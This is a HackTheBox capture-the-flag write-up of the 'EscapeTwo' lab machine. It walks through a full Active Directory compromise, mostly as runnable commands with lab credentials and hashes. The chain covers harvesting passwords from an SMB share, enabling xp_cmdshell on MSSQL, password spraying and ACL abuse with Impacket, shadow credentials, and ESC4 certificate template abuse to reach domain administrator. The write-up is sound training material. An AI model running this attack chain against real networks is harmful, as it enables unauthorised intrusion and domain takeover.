> For the complete documentation index, see [llms.txt](https://aashraymt.gitbook.io/docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://aashraymt.gitbook.io/docs/writeups/hackthebox-writeups/htb-escapetwo-writeup-active-directory-attacks-in-windows-environment.md).

# HTB — EscapeTwo Writeup: Active Directory Attacks in Windows Environment

This writeup reflects my step-by-step experience tackling EscapeTwo — from identifying exposed services to executing system commands via MSSQL. My goal with this post is to document my thought process, reinforce my learning, and share useful techniques with others on the same path.

### Overview <a href="#id-5832" id="id-5832"></a>

**Machine Name**: EscapeTwo\
**IP Address**: `10.10.11.51`\
**Initial Creds**: `rose : KxEPkKe6R8su`\
**Difficulty**: Intermediate\
**Tech Stack**: Active Directory, SMB, MSSQL, Windows Server 2019

### Initial Reconnaissance <a href="#id-67b8" id="id-67b8"></a>

We start our enumeration by conducting a full TCP port scan along with service and version detection using Nmap:

```
nmap -p- -sV -sC -O 10.10.11.51
```

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*-Sfi13C_STrak_LTArzO6g.png" alt="" height="126" width="700"><figcaption></figcaption></figure>

These ports clearly indicate that the target is part of a Windows Active Directory environment. SMB and Kerberos are immediate areas of interest.

### SMB Enumeration <a href="#id-9bb4" id="id-9bb4"></a>

We have valid user credentials (`rose : KxEPkKe6R8su`), so we proceed to enumerate SMB shares:

#### Method 1: Using Nmap NSE scripts <a href="#id-2065" id="id-2065"></a>

```
nmap --script smb-enum-shares,smb-enum-users -p 445 10.10.11.51
```

#### Method 2: Using `nxc` <a href="#id-4521" id="id-4521"></a>

```
nxc smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --shares
```

This reveals multiple shares, including one particularly interesting one: `Accounting Department (READ)`.

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*QNf8xPziZDTyQQhuaNgfYg.png" alt="" height="128" width="700"><figcaption></figcaption></figure>

### Exploiting SMB Share <a href="#f6f7" id="f6f7"></a>

We use `smbclient` to access the share and extract any sensitive documents:

```
smbclient //10.10.11.51/Accounting\ Department -U 'rose'
```

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*D4g85BfljMfd5LlLk_KwjQ.png" alt="" height="105" width="700"><figcaption></figcaption></figure>

Once inside, we list and download the Excel documents:

```
ls
get accounts.xlsx
get accounting_2024.xlsx
```

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/0*BV8DBD6mhZ07EbCb.png" alt="" height="125" width="700"><figcaption></figcaption></figure>

File may not be as it seems. run: `file filename` to see the original format:

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/0*IQPfNgcoybgqagz5.png" alt="" height="65" width="700"><figcaption></figcaption></figure>

Now unziping the files downloaded in the local, look into every files, some files have usernames/passwords.

We found some usernames and passwords in xl/sharedStrings.xml

Converting xml to table in cmv

```
xmlstarlet sel -t -m "//si" -v "t" -n file.xml | awk 'NR<=5 {header[NR]=$0; next} {printf "%s\t", $0; if (NR%5==0) print ""}'
```

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/0*f3DzzHGcKy1o8ppx.png" alt="" height="157" width="700"><figcaption></figcaption></figure>

Trying to logging in to mssql to check credentials is correct or not.

```
nxc mssql 10.10.11.51 -u 'sa' -p  'MSSQLP@ssw0rd!' --local-auth
```

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/0*B1Pi7nH4wvdRY_3O.png" alt="" height="59" width="700"><figcaption></figcaption></figure>

**Connecting to database using impacket**

```
python3 mssqlclient.py sa:'MSSQLP@ssw0rd!'@10.10.11.51
```

use single quote .

`SELECT @@version;` to see the version running.

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/0*7OZVNRIkchmQd7yO.png" alt="" height="318" width="700"><figcaption></figcaption></figure>

Connected Successfully to the database and seen the version no.

`SELECT name FROM sys.databases;`

```
EXEC xp_cmdshell 'whoami';
```

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/0*DR_vdX3GizoyHbEE.png" alt="" height="95" width="700"><figcaption></figcaption></figure>

If `xp_cmdshell` is disabled, enable it first:

```
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
```

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/0*xhgfmdUTzbjQKGX9.png" alt="" height="59" width="700"><figcaption></figcaption></figure>

Confirmation of the permission

```
EXEC sp_configure 'xp_cmdshell'
```

<figure><img src="https://miro.medium.com/v2/resize:fit:640/0*fDm7xkBXjy039atG.png" alt="" height="78" width="640"><figcaption></figcaption></figure>

### Post-Exploitation — File Discovery <a href="#id-5379" id="id-5379"></a>

`EXEC xp_cmdshell ‘dir C:\*txt /s’;` Searching for .txt files in C directory.

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/0*29Gorwlt4r_nnmZj.png" alt="" height="372" width="700"><figcaption></figcaption></figure>

Nothing interesting here . So, we move onto next directories searching and we found SQL2019.

And let’s see if there are anything more interesting here.

<figure><img src="https://miro.medium.com/v2/resize:fit:582/0*xVK07KCS60pf0z_v.png" alt="" height="499" width="582"><figcaption></figcaption></figure>

<figure><img src="https://miro.medium.com/v2/resize:fit:630/0*-og6MrzRlafAIzrp.png" alt="" height="396" width="630"><figcaption></figcaption></figure>

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/0*5DbxFwf5olgIDcxf.png" alt="" height="601" width="700"><figcaption></figcaption></figure>

Found the configurations files. So let’s read the configuration file to see the details.

### Privilege Escalation via Configuration Files & Password Spraying <a href="#id-164a" id="id-164a"></a>

EXEC xp\_cmdshell ‘type C:\SQL2019\ExpressAdv\_ENV\sql-Configuration.INI’;

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/0*JxC6t6WvoC28qLVw.png" alt="" height="493" width="700"><figcaption></figcaption></figure>

From here we got the SQLSVCPASSWORD:WqSZAF6CysDQbGb3

while checking, it got false, so we checked the passwords for other users using **Password Spraying Method**

1. Enumerate the username from here and keep it in the file named adusers.txt

`nxc smb 10.10.11.51 -u ‘rose’ -p ‘KxEpkKe6R8su’ --users`

2\. Use the user list and

`nxc winrm 10.10.11.51 -u adusers.txt -p WqSZAF6CysDQbGb3`

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/0*m4AQ2OaoRHZtT6r4.png" alt="" height="217" width="700"><figcaption></figcaption></figure>

Username ryan is confirmed for the extracted password.

Now checking for logging into ryan’s account.

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/0*R0jlQ809Q5mDgJYc.png" alt="" height="72" width="700"><figcaption></figcaption></figure>

Logging into ryan’s account using `evil-winrm` tool.

evil-winrm -i 10.10.11.51 -u ryan -p ‘WqSZAF6CysDQbGb3’

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/0*UjC9RnzFuqtEQ9-C.png" alt="" height="120" width="700"><figcaption></figcaption></figure>

***Now do to Desktop, there is the hash at text file***

***Hash: 7cba1693ecbb29413a19cb2e87e4bea9***

### BloodHound Enumeration with SharpHound <a href="#id-59be" id="id-59be"></a>

Now, let’s use SharpHound to extract the details for BloodHound Analysis.

Now, download SharpHound and upload it <https://github.com/SpecterOps/SharpHound/releases>

```
upload SharpHound.exe
ls
```

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/0*CaKudhxkR5A5mCY5.png" alt="" height="287" width="700"><figcaption></figcaption></figure>

`.\SharpHound.exe --CollectionMethods All --ZipFileName output.zip`

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/0*V9FHU9mJcWliARRs.png" alt="" height="265" width="700"><figcaption></figcaption></figure>

`ls` to see the output file

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/0*-UefxTIXgnMZN-Gm.png" alt="" height="181" width="700"><figcaption></figcaption></figure>

Using Impacket’s `owneredit.py`, we try to assign ownership:

```
python3 owneredit.py -action write -new-owner 'ryan' -target 'ca_svc' 'sequel.htb'/'ryan':'WqSZAF6CysDQbGb3'
```

It will throw error mentioning no hosts configures.

`sudo nano /etc/hosts`

Add the ip: `10.10.11.51` and host: `sequel.htb` and try again:

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/0*IfWKSs2WtDcLYc1U.png" alt="" height="331" width="700"><figcaption></figcaption></figure>

This will successfully modify the user `ryan` and give write permission. To change the ownership of the object, we use Impacket's owneredit example script.

```
python3 owneredit.py -action write -new-owner 'ryan' -target 'ca_svc' 'sequel.htb'/'ryan':'WqSZAF6CysDQbGb3'
```

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/0*NcChKjTxxSAcgdli.png" alt="" height="249" width="700"><figcaption></figcaption></figure>

To abuse ownership of a user object, we grant ourself the GenericAll privilege to ryan.

Impacket’s dacledit can be used for that purpose:

```
python3 dacledit.py -action 'write' -rights 'FullControl' -principal 'ryan' -target 'ca_svc' 'sequel.htb'/'ryan':'WqSZAF6CysDQbGb3'
```

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/0*J5e93WeeZVUxx7q7.png" alt="" height="71" width="700"><figcaption></figcaption></figure>

### Certificate Abuse and Domain Admin Access <a href="#id-95a8" id="id-95a8"></a>

We use PyWhisker to enroll a certificate for `ca_svc`

```
python3 pywhisker.py -d "sequel.htb" -u "ryan" -p "WqSZAF6CysDQbGb3" --target "ca_svc" --action "add"
```

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/0*tYFJe4ltOpPhTCf8.png" alt="" height="182" width="700"><figcaption></figcaption></figure>

Now make note of two things:

key: vfPE5BZG.pfx

password: nODWEZzArQr6E3i5wbpl

Using PKINITtools, we obtain a TGT and NT hash

```
python PKINITtools/gettgtpkinit.py sequel.htb/ca_svc -cert-pfx vfPE5BZG.pfx -pfx-pass nODWEZzArQr6E3i5wbpl -dc-ip 10.10.11.51 escapetwo
```

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/0*ciVcPxSvw2QS9BJh.png" alt="" height="124" width="700"><figcaption></figcaption></figure>

TGT : 5d900ae62fe0eb483b9890d0902355618053e5325b9bf38752c2580d67dffbfb

```
python3 PKINITtools/getnthash.py sequel.htb/ca_svc -key 5d900ae62fe0eb483b9890d0902355618053e5325b9bf38752c2580d67dffbfb -dc-ip 10.10.11.51
```

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/0*GJc0PgWldfZSwJEZ.png" alt="" height="114" width="700"><figcaption></figcaption></figure>

NT Hash: 3b181b914e7a9d5508ea1e20bc2b7fce

Verify access using NT hash

```
nxc smb 10.10.11.51 -u ca_svc -H 3b181b914e7a9d5508ea1e20bc2b7fce
```

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/0*8Yq1ll5g_AeeWTP9.png" alt="" height="47" width="700"><figcaption></figcaption></figure>

Discover certificate templates

```
certipy-ad find -u ca_svc@sequel.htb -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -dc-ip 10.10.11.51 -debug
```

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/0*iMzfP8U9C1G0Rpe8.png" alt="" height="229" width="700"><figcaption></figcaption></figure>

```
certipy-ad template -template DunderMifflinAuthentication -u ca_svc@sequel.htb -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -dc-ip 10.10.11.51 -debug -save-old
```

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/0*ockv5BBfcO9kgiPT.png" alt="" height="227" width="700"><figcaption></figcaption></figure>

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/0*o_7WCaAwBJ_UUZyS.png" alt="" height="414" width="700"><figcaption></figcaption></figure>

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/0*3VCz_xjzQBvBh4pz.png" alt="" height="402" width="700"><figcaption></figcaption></figure>

Modifying the vulnerable template

```
certipy-ad template -template DunderMifflinAuthentication -u ca_svc@sequel.htb -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -dc-ip 10.10.11.51 -debug
```

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/0*UQbZT6cvBavuSbkn.png" alt="" height="224" width="700"><figcaption></figcaption></figure>

Confirming template vulnerabilities

```
certipy-ad find -u ca_svc@sequel.htb -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -vulnerable
```

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/0*0RFsob_v_DFxLp5w.png" alt="" height="178" width="700"><figcaption></figcaption></figure>

cat 20250129025005\_Certipy.txt

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/0*fj-2l7pAepW0Palm.png" alt="" height="390" width="700"><figcaption></figcaption></figure>

Save and apply the template to the CA server

```
certipy-ad template -dc-ip 10.10.11.51 -u ca_svc@sequel.htb -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -template DunderMifflinAuthentication -target DC01.sequel.htb -save-old
```

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/0*N2OPo1k29_ymFuyI.png" alt="" height="73" width="700"><figcaption></figcaption></figure>

Request a certificate as the domain admin

```
certipy-ad req -ca sequel-DC01-CA -dc-ip 10.10.11.51 -u ca_svc@sequel.htb -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -template DunderMifflinAuthentication -target dc01.sequel.htb -upn administrator@sequel.htb -dns dc01.sequel.htb -debug
```

If error occured: sudo apt install ntpdate and redo again

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/0*B1scCQWWGs2t5lGA.png" alt="" height="144" width="700"><figcaption></figcaption></figure>

Authenticate as administrator using the certificate

```
certipy-ad auth -pfx administrator_dc01.pfx
```

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/0*Ew5pm_KzXWgLCmcq.png" alt="" height="197" width="700"><figcaption></figcaption></figure>

Login via evil-rm with the admin hash

```
evil-winrm -i 10.10.11.51 -u 'administrator' -H 7a8d4e04986afa8ed4060f75e5a0b3ff
```

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/0*DkTxG1JBaInOx0Vv.png" alt="" height="120" width="700"><figcaption></figcaption></figure>

Yayyy !!! Finally we got in !!! Now just retrieve the flag and submit.

cd ..\Desktop

ls

<figure><img src="https://miro.medium.com/v2/resize:fit:561/0*Lc7UZnlparE_r7YY.png" alt="" height="196" width="561"><figcaption></figcaption></figure>

cat root.txt

<figure><img src="https://miro.medium.com/v2/resize:fit:529/1*b2ScMpmsEpoVLwq0YsTtsA.png" alt="" height="126" width="529"><figcaption></figcaption></figure>

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*0L7LYN7iMuJe_00kCsL7eQ.png" alt="" height="604" width="700"><figcaption></figcaption></figure>

EscapeTwo was a great learning experience that tied together multiple core concepts of Active Directory exploitation. From initial SMB enumeration to abusing MSSQL features and ultimately compromising the domain via misconfigured certificate services (ESC4), each step reinforced how crucial enumeration, lateral movement, and privilege escalation techniques are in red teaming. This machine sharpened my understanding of ADCS abuse and helped me get more comfortable with tools like Certipy, SharpHound, and Impacket. Overall, it was a solid challenge that mirrored real-world attack paths and deepened my confidence in navigating Windows enterprise environments.
